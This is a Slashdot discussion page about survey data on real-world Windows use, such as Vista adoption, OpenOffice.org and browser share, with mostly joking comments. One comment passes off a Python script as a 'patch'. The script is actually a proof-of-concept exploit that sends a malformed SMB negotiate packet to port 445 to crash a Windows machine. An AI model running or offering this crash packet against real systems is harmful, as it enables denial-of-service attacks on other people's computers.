The Real-World State of Windows Use 374
snydeq writes "Performance and metrics researcher Devil Mountain Software has released an array of real-world Windows use data as compiled by its exo.performance.network, a community-based monitoring tool that receives real-time data from about 10,000 PCs throughout the world. Tracking users' specific configurations, as well as the applications they actually use, the tool provides insights into real-world Windows use, including browser share, multicore adoption, service pack adoption, and which anti-virus, productivity, and media software are most prevalent among Windows users. Of note are the following conclusions: two years after Vista's release, not even 30 percent of PCs actually run it; OpenOffice.org is making inroads into the Microsoft Office user base; and despite the rise of Firefox, Internet Explorer remains the standard option for inside-the-firewall apps."
Windows as a Real World State? (Score:4, Funny)
Since it's not, I'll make it up: bloated, past its prime, and fueled entirely by the force of its own inertia.
Re:Windows as a Real World State? (Score:3, Funny)
Re:Windows as a Real World State? (Score:2, Funny)
The nation of the United States of Microsoft?
Fascist dictatorship and economy, views and opinions forced on civilians (users of the product).
Enemies are The People's Republic of Mac OSX and FinnLinuxLand, but sometimes The NetherBSDlands.
The currency is the WGA check, without it you are a dirty no good software pirate.
Blue Screen of Deaths are common but unreported and the government denies knowledge of it, but keeps asking citizens to install service packs or buy the new version of the nations operating system (and new hardware if needed) for best results.
The really poor use older versions of the Kingdom's operating system, but get treated as third class citizens as no more security updates or service packs are made for them, nor is any modern software made for them either. They'll have to use the old versions forever.
Re:What the hell? (Score:2, Funny)
A +/- variation of 50% in something as simple as the number of machines sampled leads me to believe there more then likely other errors.
actually, that's a +/- 100% variation, for people who saw the 10,000 number first. so for all we know, the sample size could've been 0.
So that means that the study is about as reliable as an average Slashdot poster. Great... =P
Re:The problem with vista (Score:0, Funny)
Re:Try patching your system (Score:5, Funny)
I believe this is the relevant patch:
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "127.0.0.73", 445 :) normal value should be "\x00\x00"
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Re:Inside the (Corp.) Firewall no one can ... (Score:3, Funny)
Re:Need to retake to Introduction to Statistics .. (Score:1, Funny)
Re:Windows as a Real World State? (Score:5, Funny)
Re:Representative? (Score:2, Funny)
Ever hear of a paragraph?
Re:Browser use isn't exclusive (Score:4, Funny)
Surely you mean downgraded, right?
Re:Inside the (Corp.) Firewall no one can ... (Score:1, Funny)
I find your argument compelling.